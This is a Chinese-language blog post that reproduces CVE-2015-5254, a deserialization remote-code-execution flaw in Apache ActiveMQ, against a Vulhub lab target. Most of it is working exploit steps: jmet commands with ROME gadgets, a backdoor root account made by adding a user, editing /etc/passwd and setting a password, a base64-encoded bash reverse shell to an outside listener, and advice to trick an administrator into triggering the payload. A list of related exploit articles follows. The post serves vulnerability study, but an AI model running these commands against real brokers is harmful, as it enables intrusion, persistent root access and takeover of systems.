1.漏洞介绍。

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。

2.环境介绍。

复现环境采用kali搭建Vulhub。

靶机:172.18.0.1:8161

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

3.漏洞利用。

3.1漏洞利用过程简述。

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

3.2具体过程。

(1)访问web界面并进行登录。

账号:admin
密码:admin

(2)使用jmet进行漏洞利用。

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
//下载jar文件
mkdir external
//创建external文件夹

执行命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
//创建/tmp/success,同理可进行其他命令的操作

我们返回管理界面,发现添加了一个名为事件的队列。

点击进入

此时已经触发命令执行,我们进入dockor查看

docker ps

docker exec -it b189872443f5  /bin/bash

可以发现tmp目录已创建,进入发现sucess,漏洞利用成功

创建一个用户

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME  172.18.0.1  61616

触发条件和之前相同,在管理界面去点击队列

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME   172.18.0.1  61616
//修改权限
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME 172.18.0.1 61616
//添加密码

至此,一个权限为root,密码为123456的用户被我们创建成功,之后可以直接进行ssh远程连接

或者将命令换为反弹shell再利用:

bash -i >& /dev/tcp/172.18.0.1/777 0>&1

使用base64编码payload绕过Java机制

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx

附上base64编码脚本

import base64

# Sample string to encode
string = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1" # Encoding the string
encoded_string = base64.b64encode(string.encode('utf-8')) # Printing the encoded string
print(encoded_string.decode('utf-8'))

构建pyload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616

使用nc监听端口

反弹shell成功

值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

CVE-2015-5254漏洞复现的更多相关文章

  1. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  2. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  3. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  4. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  5. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  6. CVE-2018-15982漏洞复现

    作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个  ...

  7. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  8. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  9. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  10. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

随机推荐

  1. CentOS VMWare安装纪要

    一.VMware虚拟机下载与安装 版本:VMware Workstation 16 Pro 二.CentOS下载与安装 版本:CentOS-7-x86_64-DVD-2009.iso 三.CentOS ...

  2. 各种系统名词解释:MIS 、ERP、CRM、OA

    MIS :信息系统.针对企业使用的软件,都可以叫做MIS系统. (管理信息系统--Management Information System)系统 ,是一个由人.计算机及其他外围设备等组成的能进行信息 ...

  3. Do whlie 循环

    Do whlie 循环 ◆对于while语句而言,如果不满足条件,则不能进入循环.但有时候我们需要即使不满足条件,也至少执行-次. ◆do...while循环和while循环相似,不同的是,do... ...

  4. day48-Mysql安装文件结构及SQL常用语句

    1.安装文件结构 bin--mysql.exe 客户端运行程序: mysqld.exe 服务端运行程序:  data--数据库.数据表等文件 注:修改配置文件后需要重启服务端 2.常用SQL语句 1) ...

  5. springboot项目导出excel实现

    参见:https://blog.csdn.net/duli_0105/article/details/102809936

  6. Java开发词汇

    Java基础常见英语词汇(70个) OO: object-oriented ,面向对象 OOP: object-oriented programming,面向对象编程 JDK:Java develop ...

  7. [Unity动画]07.Animation

    一.面板信息 1.Length,单位是秒 2.如下,动画是30FPS,即1秒播放30帧 3.如下,显示0:18,前面的0表示秒数,后面的18表示帧数,计算方法是0.6*30=18 4.如下,1.333 ...

  8. linux使用iperf3测试带宽

    1. https://www.alibabacloud.com/help/zh/express-connect/latest/test-the-performance-of-an-express-co ...

  9. 01-第一个Spring程序

    1.导包 所有和spring有关的包(有mybatis包的忽略),后期会使用maven引入 2. 引入spring的配置文件 可命名为applicationContext-service.xml或sp ...

  10. 【分布式技术专题】「分布式技术架构」一文带你厘清分布式事务协议及分布式一致性协议的算法原理和核心流程机制(Paxos篇)

    概念简介 Paxos是一种基于消息传递具有高度容错特性的一致性算法,是目前公认的解决分布式一致性问题最有效的算法之一. 发展历史 Paxos算法的发展历史追溯到古希腊,当时有一个名为"Pax ...